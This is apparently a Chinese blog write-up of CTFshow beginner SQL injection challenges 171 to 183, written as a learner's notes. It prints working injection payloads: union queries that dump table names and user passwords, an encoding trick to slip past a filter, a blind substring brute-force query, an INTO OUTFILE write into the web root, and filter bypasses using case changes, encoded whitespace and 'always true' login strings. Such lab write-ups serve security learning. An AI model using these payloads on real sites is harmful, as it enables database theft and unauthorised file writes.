CTFSHOW-WEB入门SQL注入部分(大概是长期更新)


不一定会所有题都放上来(懒) 但是我尽量

0x01 web 171

在这里插入图片描述
总算是开始刷sql注入题了 之前学了 但是没写几题 也算个纯萌新了 所以基础题会细一点 也为了加强自己记忆在这里插入图片描述
1,2,3都能回显 继续直接爆表名

1'union select 1,2,table_name from information_schema.tables where table_schema=database() --+

在这里插入图片描述
直接爆字段 记得ctfshow_user要加'' 我试了半天不知道哪出问题 还得去翻Y4大佬的博客才发现问题 tcl

1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user'  --+

在这里插入图片描述
然后就拿到了

1' union select id,username,password from ctfshow_user --+

0x02 web172

先放个撸猫界面源码里的注释
在这里插入图片描述
然后看题 发现已经给了表名ctfshow_user2

我自己的莫名其妙方法

随便试试回显在这里插入图片描述
然后 我好像莫名其妙干出来了
1' union select 1,password from ctfshow_user2 --+ 直接出了 但是
1' union select username,password from ctfshow_user2 --+出不来
应该是按照题目给的 username叫flag 所以查询语句查不出 但是直接干password就行

下来是Y4大佬的解法

不能有flag字段 所以尝试用编码 这里大佬用的是base64和hex
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+ 然后拿最后一行解码 拿到flag
Y4👴tql

0x03 web173

同上

0x04 web174(已补)

先前因为脚本水平太辣了 导致跳过了本题 后来看了各路大佬的脚本之后 就尝试写了一下脚本 这里就不贴了 跑了2分钟才出答案的脚本实在太垃圾了 算了 放一条脚本中爆破的那句话 懂了原理 你也就会写脚本了(这是payload 也就是在sql查询中的语句 他的if语句是true返回第一个 错了返回第二个)

?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'nice','dddd') -- -"%(i,j)

0x05 web 175

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'-- 

写进目录 访问即可

0x06 web176

不知道waf是啥 就猜 发现union select不行 然后夏姬八试 发现好像是过滤了select 这里可以直接利用大小写过滤

1' union Select 1,password,3 from ctfshow_user --+

然后从Y4👴的blog里面发现 可以直接万能密码1' or 1=1--+ 我还是tcl

0x07 web177-179(久违的更新 摸鱼人回来补题辣)

177-178
大概过滤了空格和注释 用url编码绕了 万能语句通杀
1'or%091=1%23

179
emmmm 可能是群主的waf少加了一个%0c?

1'or%0c1=1%23

顺便在别人的博客发现 原来万能密码可以不用空格也行 feng师傅tql
顺便atao师傅tql(偌大的ctfshow竟然只有我是fw)

1'or'1'='1'%23

0x08 web 180-182

似乎是%23被过滤掉了 至于为什么payload是id=26 我也没明白
因为到22开始就没有回显了 为什么不猜22呢

(后来看到有大佬用burp跑出来的26

首先是群主的payload(第一个单引号前需要输入一个没有的数)
180181通杀

111'or(id=26)and'1'='1

原理是看了feng师傅的博客
通过上面给的查询语句来构造

1.where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";
 and优先级>or也就是
2.(username !='flag' and id = '')  or  (id=26and'1'='1')

where输出的是1那条 所以出来了(我还是tcl)
然后还有一种就是

-1'||id='26'||'   这个语句大伙把他带入搜索语句里面就懂了

0x09 web183

首先看博客学习regexp()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值